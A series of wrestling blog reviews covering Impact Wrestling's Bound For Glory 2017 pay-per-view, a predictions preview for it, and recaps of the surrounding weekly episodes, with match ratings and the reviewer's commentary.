Bound For Glory 2017
Date: November 5, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Jeremy Borash, Josh Matthews

It’s finally time to have something fresh for this company as we’ve spent over two months on taped TV setting up this show. The real main event is Moose/Stephan Bonnar vs. Lashley/King Mo in a wrestling vs. MMA cage match, which has been pushed far harder than the World Title match. Let’s get to it.

Alberto El Patron arrived earlier today.

Opening sequence, looking at the big main events, as you might expect.

The ring ropes are red and white for CANADA!

X-Division Title: Sonjay Dutt vs. Trevor Lee vs. Garza Jr. vs. Petey Williams vs. Matt Sydal vs. Dezmond Xavier

Lee is defending and there are tags this time around. Dutt and Sydal hit the mat to start and speed things up in a hurry, but the fans are more interested in Petey. Well of course they are. Xavier comes in to kick Sydal down, only to get tripped up and hit with a standing shooting star for two.

They fall outside and it’s Garza and Petey coming in, meaning this is lucha rules. Ok then. Lee comes in and grabs Garza’s bad arm, only to stop so GARZA CAN TAKE OFF HIS PANTS! Garza puts Lee in the Tree of Woe and we hit the O CANADA for the pop of the night. It’s Tower of Doom time though with Lee being the only one to not get slammed down. We hit the dives, leaving Lee to suplex Dutt into a powerbomb for a big heap.

Dutt gets stomped down and things slow down a lot. Lee poses a lot and hammers on Dutt in a non-Canadian way. The fans want Petey (well duh) and Dutt finally avoids a charge to give them what they want. A Russian legsweep and a Downward Spiral drop Lee and it’s off to Sydal, who sends Petey into the ropes. Williams adds a slingshot hurricanrana on Lee. Everything breaks down and it’s Xavier coming in with all of his corkscrewy goodness.

The Final Flash gets two on Lee with Dutt making the save. Dutt’s tornado DDT gets two on Xavier but Sydal runs everyone over. Garza is back in with a headbutt on Sydal, followed by a posing choke. Petey comes in and grabs a Sharpshooter on Sydal because it’s Canada and there are certain things you have to do. Sydal has to bail out of the shooting star and it’s a Canadian Destroyer to plant Xavier. Lee sneaks back in and tosses Petey though, allowing him to steal the pin and retain at 12:40.

Rating: C. Well you have to make sure you keep that AMAZING Trevor Lee reign going you see. The title has completely died and a lot of that is due to the lack of interesting characters or personal issues. It’s just “here are three faces, here are three heels, they’re doing flippy stuff”. I need more than that, but we don’t have time for that because we need videos on MMA titles being stolen. It’s not like they could spend time building up Xavier and/or Sydal, both of whom have crashed HARD into a wall in recent months. Good choice for an opener, but the crowd died when Petey didn’t win.

Tyson Dux vs. Taiji Ishimori

Oh that’s how they’ll fill in time: random matches with this eternally present international talent. Dux was in Team Canada like thirteen years ago, end of his noteworthy accomplishments in America. Ishimori sends him outside to start and it’s an early standoff. Back in and Tyson gets two off a delayed belly to back suplex. The mess that is Laurel Van Ness wanders into the crowd as we hit a chinlock on Ishimori. That goes nowhere as Ishimori fights up and hits a slingshot double stomp for two of his own. A guillotine choke knocks Dux silly and it’s a 450 to give Ishimori the pin at 4:47.

Rating: C-. This was the latest instance of two guys who I neither know nor care about having a match I didn’t want to watch. At least it wasn’t long though and in this case they needed to do something to fill in some time with Rosemary vs. Taya being gone. I was actually looking forward to that match though, making this quite the disappointment.

Grado can’t talk his way out of his match with Abyss later.

Here’s the returning Alberto for his big speech. He talks about working as hard as he did in this promotion and being told how awesome he was. Then something happened and they suspended him because they don’t have any cajones and believed all the lies. The reports will tell you that he didn’t do anything but they suspended him anyway. They even stopped paying him! Well they have been having payroll issues as of late you see.

All this company did was listen to reports on the internet and ruined his career. His kids were disappointed in their dad and it was all over lies that never happened. No one got in touch with him while he was gone and that’s what’s wrong with everything. The people are what’s wrong around here and he’s about to do something tonight.

Alberto turns his focus to JB and, of course, calls him a perro. He goes up to JB, who never texted him or called him once. JB apologizes and we get a very slow handshake but Alberto is here to make a statement. Eh or not because tonight is going to be amazing. Alberto walks away without doing anything to JB.

We recap Grado vs. Abyss. Grado is trying to stay in the country and signed up with Abyss’ brother Joseph Park as his agent, only to have Park rip him off and steal his money. Grado wants out of the deal and we’re having a match for his freedom, only it’s Monster’s Ball against Abyss instead of Park.

Grado vs. Abyss

Monster’s Ball, meaning hardcore. Before the match, Grado tries to talk his way out of the match and Abyss tells him do dance. Grado does just that, only to jump the monster to get things going. It’s already weapons time with Grado throwing in some chairs, only to have Abyss knock a cheese grater out of his hands. Instead it’s a staple gun to the head and the violence begins.

The barbed wire boards are brought in but Grado saves himself, only to have the tacks poured onto the mat. A cheese grater between the legs slows Abyss down though and some trashcan shots give Grado a breather. He takes too much time going up though and gets shoved through the barbed wire for the big crash. It’s Janice time (Josh: “How did he get this into Canada?”) but Grado gets out of trouble with the dancing punches. You know, in a hardcore match.

And now, let’s cut to Van Ness again. You know, IN A HARDCORE MATCH! Grado escapes a chokeslam and sends Abyss into another barbed wire board. A third is stacked on top of Abyss for a big splash, cutting both of them open and giving Grado two. Laurel stumbles into the ring though and steals Janice from Grado before hitting him low.

She picks up Janice and there go the lights. Cue Rosemary (because Heaven forbid we just put her in the title match) to mist Laurel and Abyss, earning herself a chokeslam onto the tacks. Grado rolls Abyss up for two (with the bell ringing and being waved off), only to get Black Hole Slammed onto the barbed wire for the pin at 10:32.

Rating: D. Well that happened. If you’ve seen one of these things, you’ve seen them all as there’s practically a checklist of things you have to see in this match. Grado losing is rather dumb, but maybe they can’t afford to fly him in anymore. The women didn’t need to be involved, but at least they have a connection to the guys in the match.

Team Impact is ready with Ethan Carter III being very serious.

We recap Team AAA vs. Team Impact. AAA invaded, three Impact guys fought back, they’ve had a bunch of matches and now it’s a six man tag.

Team AAA vs. Team Impact

It’s Pagano/Texano/El Hijo De Fantasma vs. Ethan Carter III/Eddie Edwards/James Storm. Texano won’t shake hands with his partners as he and Fantasma are feuding in AAA. Eddie and Fantasma start things off with Fantasma being sent to the apron for an elbow to the face. Carter won’t tag in for some reason so it’s Storm in instead. Texano comes in as well and drives the once again legal Eddie into the corner with Pagano crotching him against the post.

The fans chant for lucha libre as Pagano chokes Edwards on the mat. Edwards hurricanranas both Fantasma and Texano at the same time but Carter still won’t tag. Instead it’s Storm, who grabs a neckbreaker to drive Texano and Fantasma down at the same time. Pagano crotches Storm down though and it’s time to continue the beating. Texano adds a shot with a bull rope and clotheslines Storm in the corner.

An Alabama Slam gets Storm out of trouble though and NOW Carter is willing to come in and clean house. A flapjack drops Fantasma and there’s a Downward Spiral to Pagano. Everything breaks down and Eddie scores with a suicide dive. Back in and Eddie hits Carter by mistake though, leaving Pagano to hit a running….elbow I think to drop Storm.

Pagano gets catapulted into a flip dive onto everyone else and Storm adds his own flip dive (off the post) onto the pile. Back in and we get the required Tower of Doom with only Storm being spared. Instead it’s James coming in with a top rope elbow onto Texano, followed by a double clothesline to Fantasma and Pagano. Eddie enziguris Pagano back down and a second does the same to Fantasma.

That’s about it for Eddie’s run though as Fantasma comes back with his kneeling tombstone to drive Eddie onto the apron in a disturbing heap. Pagano drops a top rope leg onto Carter, who pops up with a double low blow. A double 1%er drops Texano and Pagano and it’s back to Storm, with Carter telling him to kick someone’s head off. The Last Call ends Pagano at 15:24.

Rating: C-. The match was watchable but it felt like it just kept going. The other problem here is it doesn’t solve anything. This is just a match that happened and doesn’t really change anything. There’s no reason for the feud not to continue, which it likely will at the next set of tapings. Carter vs. Storm would seem to be in the cards, which is certainly an upgrade for both guys.

Carter and Storm share a beer.

Chris Adonis and Eli Drake are ready to retain the title tonight. The Gravy Train is coming to run Johnny Impact over and the only thing Johnny deserves is a one way ticket to a beating.

We recap OVE vs. LAX. OVE won the titles and LAX swore revenge, citing their huge numbers advantage. LAX beat OVE down multiple times so OVE is bringing in a relative to help in the street fight rematch. This would seem to be the debuting Sami Callihan.

Hang on a second as we see a body down with a Mexican flag over him. The same thumbs up into a thumbs down is seen, which is Callihan’s signature.

Tag Team Titles: OVE vs. LAX

LAX is defending and this is a street fight. There’s no Homicide, suggesting that he was the one down in the back. Santana and Ortiz dive onto the champs to start in a hurry. The brawl splits in two with Jake kicking a trashcan wrapped around Ortiz as Dave and Santana fight in the crowd. Ortiz fights back and grabs a running Liger Bomb off the ramp through a table to basically kill Jake.

Santana climbs the scaffolding as the fans chant about how they can’t see anything. A big splash from near the roof crushes Dave through a table and thankfully they’re both alive. Back at ringside, Jake fights off a table and pelts a chair at Ortiz’s head to save himself. Some chairs are set up in the ring and it’s Jake superplexing Ortiz through them, banging up his own back pretty badly in the process.

Santana is back inside and the Street Sweeper onto a pile of chairs plants Jake, only to have Dave come back in for the save. Four strikes to the face give us a quadruple knockdown with LAX getting the better of it. Some ladders and tables are set up at ringside but here’s Callihan to throw powder in Konnan’s face. He throws Ortiz onto a ladder and piledrives Santana through a table, giving OVE a double pin to retain at 10:21.

Rating: B-. Fun brawl, though they didn’t exactly hide the ending. It also doesn’t help that OVE was losing a fair fight when Sami came in. That should be a heel turn and given how this company goes, it really wouldn’t surprise me in the slightest. Good match though, with the violence being the focus, as it should have been.

Post match OVE keeps stomping as Sami is announced as the newest member of the team. That’s rather heelish, especially since LAX was fighting two on two.

We recap the Knockouts Title match, which is basically a farewell tribute to Gail Kim. She’s retiring from the company after tonight and wants to go out with one last title reign. Allie and champion Sienna are just window dressing.

Gail is ready to win the title back by being herself.

Santino Marella is shown in the crowd.

Knockouts Title: Gail Kim vs. Sienna vs. Allie

Sienna is defending and gets double teamed to start, only to double clothesline the challengers down. A double camel clutch has Gail and Allie in trouble until Sienna gets sent outside. Allie hits something like a Sliced Bread #2 into a Stunner on the floor, followed by Gail adding a 619 around the post. That leaves Allie vs. Gail inside with a slugout being quickly cut off by the returning Sienna.

Gail snaps off a super hurricanrana to the champ and all three are down. Sienna is up first and runs Allie over before choking Gail with her own hair. A fall away slam from the middle rope has Allie reeling and a spinebuster to Gail is good for a double cover. Gail slips out of the AK47 and gets two out of a sunset flip. Eat Defeat gets two on Allie with Sienna making another save. Sienna throws Allie outside in a heap but walks into a super Eat Defeat to give Gail the title at 10:30.

Rating: C+. Well now don’t we all feel better? The most praised Knockout ever gets ONE MORE accolade to go out on, because we just haven’t spent enough time talking about how amazing she is over the years. I get that she’s great but she has practically ever accolade ever and I really don’t need to see her get even more praise.

Bobby Lashley and King Mo are going to the ring on their own.

Here’s Jimmy Jacobs, who says hi to commentary and leaves. Uh, good?

We recap Lashley/King Mo vs. Stephan Bonnar/Moose. American Top Team wants Lashley to be in MMA full time but Moose was sent out to give him one last match. This turned into a huge brawl with the American Top Team guys beating Moose down. Moose got former MMA fighter and rookie wrestler Bonnar to help him, setting up a tag match in a cage.

Bobby Lashley/King Mo vs. Stephan Bonnar/Moose

Pinfall or submission only inside a cage with American Top Team in Lashley and Mo’s corner. Some rapper plays Moose to the ring in a cameo that really didn’t need to happen. Apparently it’s Moose’s brother, which really doesn’t make this any better. Thankfully there are no tags and the MMA guys are laid out in twenty seconds, leaving Moose vs. Lashley, which is what this should have been from the beginning.

Mo punches Moose out and Bonnar drops Lashley, leaving us with the MMA showdown. And hang on again as the fighters are dropped a second time so Moose can charge into a powerbomb into the cage wall. Bonnar is back up with a powerbomb to Lashley, who lands on his shoulder. Mo is busted open but the wrestlers take the fighters down a third time as I guess they’re building drama? To a non-wrestling match?

Lashley turns Moose inside out with a clothesline but Moose is back up with a spear to put everyone down. We finally get Mo vs. Bonnar and they go to the mat with Josh doing his worst Joe Rogan impression. Bonnar gets an armbar as the fans chant for Georges St. Pierre. Back up and Bonnar misses a kick and gets taken down by Mo again. A choke has Mo in trouble but Lambert just opens the cage door and sends in the MMA guys. Oh my goodness I can’t stand anything about this match.

Moose comes back and cleans house, including a high crossbody to take down a bunch of guys. A super chokebomb takes down one of the fighters before Moose and Mo leave the cage. Lambert throws Mo back inside and goes in as well before locking Moose out. Mo punches out a fighter by mistake, leaving Bonnar to kick him down. Lashley spears Bonnar but Moose climbs the cage and takes everyone out with a big dive. Lambert is left alone but Lashley spears Moose down for the pin at 10:40.

Rating: F. Oh sweet goodness I KNEW IT! I picked the wrestlers in the predictions but I had a feeling that TNA would have the MMA guys win. Why? Well it would be the dumbest thing they could do and make the wrestlers look like losers to people who probably won’t even be around. This is so TNA and I can’t get over it. Oh and they managed to have a horrible match because it was more about MMA than anything else. Bonnar couldn’t do basic stuff right and Mo didn’t even try to do anything other than slow MMA stuff. Terrible match with the worst possible ending, so we’ll call this the TNA Special.

Johnny Impact talks about everything he’s given up over the years (friends, family gatherings, carbs). When he was growing up, he had two heroes: Randy Savage and his father. After tonight, he’s taking the title back home to his father, who will tell him it’s never too late to go to law school. His dad is going to be proud though, and that’s what matters most.

Impact Wrestling World Title: Eli Drake vs. Johnny Impact

Drake is defending and has Chris Adonis in his corner. Impact avoids a pre-bell jumping and starts fast with a clothesline. The champ bails to the floor so Johnny is right on him with a slingshot dive. A running flip kick off the apron has Drake in more trouble and a backdrop makes things even worse. Johnny adds a sliding German suplex as Josh says this is the first real test for Drake as champion. Keep in mind that Impact already had a title shot, making Josh sound dumber than usual.

Adonis gets in a cheap shot though and Drake takes over with an elbow off the apron. Drake keeps him outside and throws him into the barricade before choking with a boot. Back in and Drake gets two off a powerslam, followed by some elbow drops. They head outside again with Johnny kicking him in the face, knocking the champ into the post. Johnny’s leg hits post though and Drake takes it back inside.

That’s fine with Impact, who kicks him down and tries a moonsault, only to get elbowed for his efforts. A belly to back superplex drops Drake and another moonsault gets two. The standing shooting star gets the same as that leg seems just fine after hitting the post. Countdown to Impact misses as we’re just waiting on the ref bump/Alberto. Johnny kicks him in the head and goes up again, only to have Adonis offer a distraction.

This time it’s Drake running the corner for a superplex and another near fall. They head up at the same time this time around with Johnny scoring with a super Spanish Fly. That’s not enough either so Adonis throws Drake the belt. Johnny takes it away though and takes Adonis down, followed by Countdown to Impact for two. The Gravy Train is countered into a Shining Wizard but Drake sends him shoulder first into the post.

They head up again (fourth time) but Johnny kicks him down, setting up Starship Pain for two as Alberto pulls the referee out. That’s not a DQ for no logical reason so Johnny dives over the top at Alberto, hitting the referee by mistake. Alberto hits Drake with the belt before breaking a chair over Johnny’s head (Who needs PG?). Drake is pulled onto Johnny to retain the title at 19:49.

Rating: B-. Well Alberto looks like a big deal, Johnny looks like a choker and Drake and the title are now somewhere in the top seven or eight most important things in this company. This sets up Johnny vs. Alberto, but we have no one to challenge for the title. I mean, assuming we don’t get a triple threat out of this, which would be one of the least interesting things they could do. Alberto is clearly the focus of the promotion whether you like it or not, but he should be better now that he’s away from the horrible LAX feud. The match was good, but it was a long exercise in waiting for Alberto.

We’re off the air less than thirty seconds after the match ends. The screen says “matchup graphics” because we needed to go out on one last production error.

Overall Rating: C-. So that’s the biggest show of the year. This show was the definition of mediocre with some good action, horrible booking choices and practically nothing memorable whatsoever. The ending of the cage match was about as dumb as they could get and I didn’t really expect anything less. Tomorrow they start another marathon taping session to take us into the new year, but this time it’s without anything major to build towards. In other words, imagine a show with even less motivation than its had lately.

The show certainly wasn’t terrible and there was some good stuff sprinkled throughout, but it was nothing that hadn’t been done before. That’s this company in a nutshell for you: it could have been worse, but it’s nothing you’re ever going to want to go back and see again, plus one major error in what should have been a layup. Oh and former WWE people who didn’t add much. I was hoping for more from their Wrestlemania, but I didn’t once actually expect it. If that doesn’t sum up TNA, I don’t know what does.

Results

Trevor Lee b. Sonjay Dutt, Garza Jr., Petey Williams, Matt Sydal and Dezmond Xavier – Canadian Destroyer to Xavier

Taiji Ishimori b. Tyson Dux – 450

Abyss b. Grado – Black Hole Slam onto a barbed wire board

Team Impact b. Team AAA – Last Call to Pagano

OVE b. LAX – Piledriver through a table to Santana

Gail Kim b. Sienna and Allie – Super Eat Defeat to Sienna

Lashley/King Mo b. Moose/Stephan Bonnar – Spear to Moose

Eli Drake b. Johnny Impact – Chair to the head

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

I don’t even know where we are at this point. This promotion has turned completely upside down with large chunks of the show being built around action from other promotions, often which had nothing to do with Impact Wrestling. Other than that, it’s been a lot of talk about mixed martial arts, because it’s really the same thing right? I’m not sure what we’ll be getting at “Bound For Glory 2017”, but it turns out there will be one less match than we were expecting. Let’s get to it.

X-Division Title: Trevor Lee(c) vs. Dezmond Xavier vs. Garza Jr. vs. Matt Sydal vs. Petey Williams vs. Sonjay Dutt

If this sounds familiar to you, it’s certainly not because they ran the same thing on this week’s episode of “Impact Wrestling”. No see while that was a one fall six way match, this is a one fall six way match for the title. It’s totally different that way. That was won by Xavier, which in theory should eliminate him from contending for the title. However, that’s not the way things work around here.

I’ll go with Sydal winning the title here, as the company certainly seemed ready to do something with him but pulled the plug in a hurry. Xavier would make the most sends (and would actually make the Super X Cup mean anything whatsoever) while the rest are really just warm bodies. Well somewhat colder in Garza’s case because HE TAKES OFF HIS PANTS! Then again it’s not like the X-Division Title means anything but hopefully they can put on an entertaining match in the time they’re given.

Abyss vs. Grado

This story….I’m not sure what to think about it actually. It’s a pretty simple concept (I help you, you take advantage of me, I want revenge) and the immigration stuff is all just window dressing. The problem is I have no reason to care about Grado. I’ve never really found him funny and the reason he was wanted to stay in the country was to eat various American foods. That’s the best hero we can have?

I’ll take Grado to win here as getting rid of him wouldn’t make sense, though that’s never stopped this company before. Above all else, he needs to be around for the sake of filling in a spot on the roster. Abyss has lost a ton of these things before and it wouldn’t surprise me if he slipped on a banana peel and lost again here. Grado isn’t exactly entertaining but he has more potential than Abyss at the moment.

Team Impact vs. Team AAA

So here’s the invasion match, which feels like they just wrote “insert invasion angle here with whomever you have left” in the script and hoped for the best. There’s no reason to care about either team and none of them interest me whatsoever. This story has been lame from the start and there’s no real reason to assume that it’s going to get any better as we do the six man.

Team Impact should win here as it’s really the only logical way to go and I’ll take them to do so, though I wouldn’t be shocked at all to see Team AAA win so this partnership can keep going. I still have no idea why I’m supposed to care about a bunch of wrestlers that I know almost nothing about coming in to this company but the announcers have spent so much time telling me how awesome these three are that I would feel bad if I didn’t watch.

Knockouts Title: Sienna(c) vs. Gail Kim vs. Allie

I’m going to do this assuming that Rosemary, who is now out of a match, isn’t added to the match, though it would make perfect sense to put her in (four Canadians instead of three) with the Taya Valkyrie fight falling through. I’m not even going to waste much time here: this is going to be all about Gail Kim whether you like it or not, which is almost always the case around here.

Of course I’m going with Kim. This company has basically worshiped her (not saying it’s completely undeserved) and it wouldn’t shock me to see her give her a big, grand farewell, basically leaving the division looking like a bunch of losers in the process. Allie and Sienna are just details here and that’s all they’ve been the whole time. I wish there was another way of looking at this but it’s been the Kim show the entire time, as you knew it would be.

Tag Team Titles: OVE(c) vs. LAX

This is a 5150 street fight, which basically means a street fight with numbers in the title. In theory this means the entirety of LAX is allowed to fight, which is why OVE has brought in Sami Callihan to help them out. That should be enough to help the champs even the odds, as Konnan can’t do anything physical and Homicide is really just there for cheap shots.

OVE retains here of course, as we’re already past the point of LAX meaning much. Of course there’s also the issue of who in the world challenges the champs next. It’s not like there’s much of a division at the moment so it’s either build a new team from the roster or keep going with LAX. Either way, OVE retains here.

Impact Wrestling World Title: Eli Drake(c) vs Johnny Impact

Sure the World Title is on the line here but let’s not pretend for a minute that this is the real main event. Drake has been champion for a few months now and Impact is one of the biggest stars the company has at the moment. He’s also the AAA World Champion and you know how this promotion likes to cross-promote with the international promotions. That’s not a good sign for Drake, but stranger things have happened.

I’ll take Drake to retain the title here, possibly due to interference from the returning Alberto El Patron. I think the company would like the idea of having El Patron vs. Impact for some kind of real champion of Mexico match and we’d just be lucky enough to have it be treated as a bigger deal than the World Title feud. Of course don’t count out the idea of El Patron somehow walking out as champion either. Drake wins, but there’s a good chance that things aren’t over for him yet.

Bobby Lashley/King Mo vs. Moose/Stephan Bonnar

Let’s not pretend that this isn’t the main event. This match has gotten more development, airtime, promos and attention than anything else on the card by a mile. Impact Wrestling has had a very longstanding obsession with mixed martial arts and it’s no surprise that they’re putting it on the big stage like this. Really, you knew they wanted to do this as soon as they had a fighter like Lashley on the roster.

I’m going with Moose and Bonnar to win, even though this really should just be Lashley vs. Moose. It’s the same match and we wouldn’t have to wait around for King Mo and Bonnar, who have no business wrestling at this high of a level. You have to assume that Lashley is going to head to MMA sooner or later, so taking him off TV would make sense. This probably should close the show, though I’m fine with the World Title getting that spot, disparity in importance on TV aside.

Overall Thoughts

The crazy long taping cycle killed the build towards this show and there’s barely any way to recover from that. So much of the shows has been spent on matches from Canada, Mexico and Japan, almost none of which had anything to do with setting up the pay per view. That being said, this promotion has a history of being FAR better on pay per view than they are on TV, as it’s just the wrestlers wrestling instead of the nonsense with the creative department. The show could be good, but they desperately need (another) change of pace to fire up their TV, which has been dreadful lately.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Impact Wrestling
Date: November 2, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s the go home show for this year’s Bound For Glory and that really could mean anything tonight. The big question is how much action will actually take place in this country, which has been up and down over the last few months. They need to set up some stuff for Sunday though and that needs to be done in a hurry. Let’s get to it.

Opening sequence.

Video on Rosemary vs. Taya Valkyrie.

From Border City Wrestling in Canada.

Rosemary/Allie vs. KC Spinelli/Sienna

Well at least most of them are from GFW. The villains jump Rosemary and Allie to start and Allie gets choked in the corner. It’s quickly off to Rosemary for a crossbody and a kick to Sienna’s head. A cheap shot from behind puts Rosemary in trouble as the announcers talk about everything on Sunday.

Rosemary’s choke over the ropes has Sienna in trouble but she has to let it go and falls to the floor. The lights are so dark that she’s hard to see out there, suggesting that there are very few fans at the show. A double collision allows the hot tag to Allie so house can be cleaned. Everything breaks down and Sienna kicks Spinelli by mistake. A Codebreaker from Allie sends Sienna into a German suplex, allowing Allie to grab the pin at 6:20.

Rating: C. This was a noted improvement: three of the four people involved actually work for the company putting on this show. They tried to tie something in with Allie pinning Sienna but that title match is so entirely focused on Gail Kim that these two are really just details. Passable match, but I’m really hoping we get something else to hype up the title match.

Video on Lashley/King Mo vs. Moose/Stephan Bonnar.

Here are Lashley and American Top Team to yell about how fake wrestling is. The men they’re fighting on Sunday are athletes, but Moose isn’t a fighter and Bonnar is famous for losing. On Sunday, they’ll be exposed as fake fighters and everyone will know that wrestling isn’t legit. Then they’ll stop coming and wrestling is destroyed for good. Again: Lambert is a good heel, but he’s stuck in this story which is both really downplaying wrestling and is also the show’s main event. I wouldn’t be shocked to see Moose and Bonnar lose either, because TNA really is that dumb.

Recap of Grado vs. Joseph Park.

From Pro Wrestling Noah in Tokyo.

Moose/Yuji Okabayashi vs. Katsuhiko Nakajima/Masa Kitamiya

Yuji and Masa trade some shots to start before it’s off to Moose to clean house with a dropkick and bicycle kick. Kitamiya gets dropkicked off the top rope and out to the floor and a hesitation dropkick in the corner gives Moose two. Moose and Kitamiya get in a hoss fight until Moose sends him shoulder first into the post.

Josh says this is strong style you’re only going to see in Impact. Well, save for IN THE NOAH PROMOTION WHERE THIS IS TAKING PLACE BECAUSE GFW CAN’T EVEN GET TV RIGHT. Moose gets sent outside and a double bulldog gets two on Yuji. A spear gets two on Yuji but he pops up to slug it out with Kitamiya. Yuji takes him down and hits a top rope splash for the pin at 8:32.

Rating: D+. Same problem on a different show: this focused on the three Japanese guys, none of whom I’m supposed to be paying to see in a feature match on Sunday. The commentary was more about hyping up the GFW Network so you can see more of this kind of wrestling there. The match was fine enough with four big guys hitting each other hard, but it does nothing to set up the match that matters.

We run down the Bound For Glory card.

LAX is in their clubhouse when Eli Drake and Chris Adonis show up. They bring guacamole as a peace offering and an agreement is made for one night only. They’ll help take out each others’ opponents for Sunday in a six man tag tonight.

Video on OVE vs. LAX.

Video on the six people in the X-Division Title match on Sunday. What title match you ask? Eh don’t worry about it, as this is the first time it was mentioned.

Trevor Lee vs. Dezmond Xavier vs. Sonjay Dutt vs. Petey Williams vs. Matt Sydal vs. Garza Jr.

Non-title and one fall to a finish. It’s a huge brawl to start (of course) with Williams dropkicking Garza in the back of the head. Stop though, because GARZA HAS TO TAKE OFF HIS PANTS! Sydal comes back in to drop Xavier and Garza at the same time, followed by a standing moonsault for two on Dezmond. It’s Lee coming in to take Sydal down and we take a break.

Back with Lee getting kicked in the face by Dutt as we hear about THE EXACT SAME MATCH taking place at Bound For Glory. Not an Ultimate X match, not an elimination match, not even a match with tags etc. No, it’s the same match and it happens to be for a title. In other words, they had two chances to come up with an idea other than “throw everyone in there at once” and couldn’t manage to do so.

Dutt dives onto a pile of people at ringside, leaving Garza to hit a powerbomb on Xavier and a World’s Strongest Slam on Williams at the same time. That’s only good for two though as Sydal comes back in, only to have Petey hit the Canadian Destroyer for two. A powerbomb gives Lee two on Petey but Xavier comes back in with his moonsault kick to put Lee away at 11:30.

Rating: C+. That’s all well and good but, as announced during this match, NONE OF THIS MATTERS EVEN A LITTLE BIT. Yeah quite literally, this match will be repeated on Sunday with the title on the line. Watching the match happen was supposed to make me want to pay to see the match happen again. That’s what I’m sitting through with this company people. It’s not easy on Thursday nights.

Long recap of Team Impact vs. Team AAA.

Video on Gail Kim and the other women in the title match with her.

Here’s Gail Kim to talk about what her journey has meant to her. She’s ready for both opponents and promises to take the title back where it belongs as she ends her career.

Global Forged video.

We run down the pay per view card. Again.

Video on Eli Drake vs. Johnny Impact.

LAX/Eli Drake vs. OVE/Johnny Impact

The tag teams start brawling in the aisle before Impact shows up. Drake waits for Impact at the entrance and gets in a belt shot from behind. The beating is on outside the ring with the villains in full control. Johnny is finally thrown in where he has to take care of Adonis before we get an opening bell. Impact hits a big corkscrew dive to take out all of the bad guys and we take a break.

We come back joined in progress with Johnny superkicking Ortiz into a double spinebuster for two, only to have him come back with a flapjack. Jake gets beaten down in the corner and Santana gets belly to back suplexed for two. Drake’s over the shoulder powerslam drop gets two more and it’s time to plug a movie on Pop! Jake fights up and makes the hot tag as everything breaks down. A big flip dive sends Jake crashing onto Ortiz as we hear about LAX going to Germany. Is that where we’re going next week? Johnny sunset flips Santana for the pin at 5:13.

Rating: C-. Not enough time to mean much here but we’ve got important stuff like Canadian tag team matches to air instead of the World Title feud. Johnny pinning a member of LAX makes the most sense and sends him into the pay per view with some momentum, but there’s no hiding how unimportant the World Title match really is going into Sunday.

Post match the villains beat the winners down with Johnny being sent back first into an exposed buckle. Drake and Adonis pull back the mat and expose the wood, setting up a Gravy Train to leave Impact laying to end the show….at 9:57, with another Bound For Glory ad ending the show.

Overall Rating: D-. I don’t know what they were going for here but it really didn’t work. This taping cycle, which has now gone on over several months, has completely ruined their biggest show of the year. The fact that they can’t even fill in a two hour show every week without bringing in nothing matches (like that Moose tag) to cover the rest of their time shows what a mess this place is in.

You can give whatever excuses you want (it’s cheaper this way, it’s showcasing other promotions etc) but there’s a simple fact: GFW looks like a joke right now and that’s been the case with whatever you want to call this promotion for a very long time. At this point I’m wondering how many of the outsider teams are going to win on Sunday as you can almost guarantee at least one screwup of that nature.

I’m almost completely fed up with this company (again) as they’ve managed to turn this show into a showcase for the rest of the world without giving us a reason to care. If they can’t run a two hour show on their own (and I’m curious to see how they’re going to do that without the GFW talent), just stop running the thing already. I don’t want to watch Noah, I don’t want to watch the Crash, I don’t want to watch Border City Wrestling and I don’t want to watch Global Forged. I want the wrestlers I watch the show to see featured rather than thrown into cards around the world.

This promotion has been bad before but now they’re being bad in other countries and making me not want to see them either. How many times are the fans expected to just stick with it for the sake of loyalty to this place? We’re coming up on what is likely to be another two month long taping cycle and it’s likely going to be even more of a mess this time around. I’m so thrilled.

As for the show itself, it wasn’t a terrible go home show but how much other stuff could be built up in exchange for the Japan and Canada matches? It’s certainly not the worst I’ve ever seen (I’m sure TNA has put on a worse one before) but it comes at the end of one of the most miserable set of taping I can remember, which showed off every deficiency this place has, which is covering A LOT of ground. The worst part: Sunday’s show will likely be fine as the wrestlers will be fresh and just wrestling instead of trying to keep going when the energy is all gone. At least it’s finally something fresh, but that might make things even worse.

Results

Rosemary/Allie b. KC Spinelli/Sienna – German suplex to Sienna

Moose/Yuji Okabayashi b. Katsuhiko Nakajima/Masa Kitamiya – Top rope splash to Kitamiya

Dezmond Xavier b. Trevor Lee, Sonjay Dutt, Petey Williams, Matt Sydal and Garza Jr. – Moonsault kick to Lee

Johnny Impact/OVE b. Eli Drake/LAX – Sunset flip to Santana

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Impact Wrestling
Date: October 26, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Jeremy Borash

We’re back in Orlando and whatever other city/country they’re using material from this week. That’s the major issue at this point: a lot of Impact isn’t so much from Orlando but rather from all over the world. It’s nice once in a while but it’s mainly just showing how horrible the Impact Zone is. Let’s get to it.

Dan Lambert, Bobby Lashley, Moose and Stephan Bonnar arrived earlier today.

Johnny Mundo arrived earlier.

Opening sequence.

We recap Team AAA vs. Team Impact.

From AAA in Mexico.

James Storm/Ethan Carter III vs. El Hijo de Fantasma/Texano

It’s a brawl to start with Fantasma being double teamed in the corner. Texano pulls Carter outside and posts him as the brawling continues. Storm beats on Fantasma against the barricade as Carter stomps on Texano inside. The announcers recap why this feud started, which all began when Hector Guerrero didn’t vote for Fantasma in a Grand Championship match? Remember that? Remember the Grand Championship? Remember Hector Guerrero being involved in this feud? You shouldn’t, as he hasn’t been mentioned since that initial appearance.

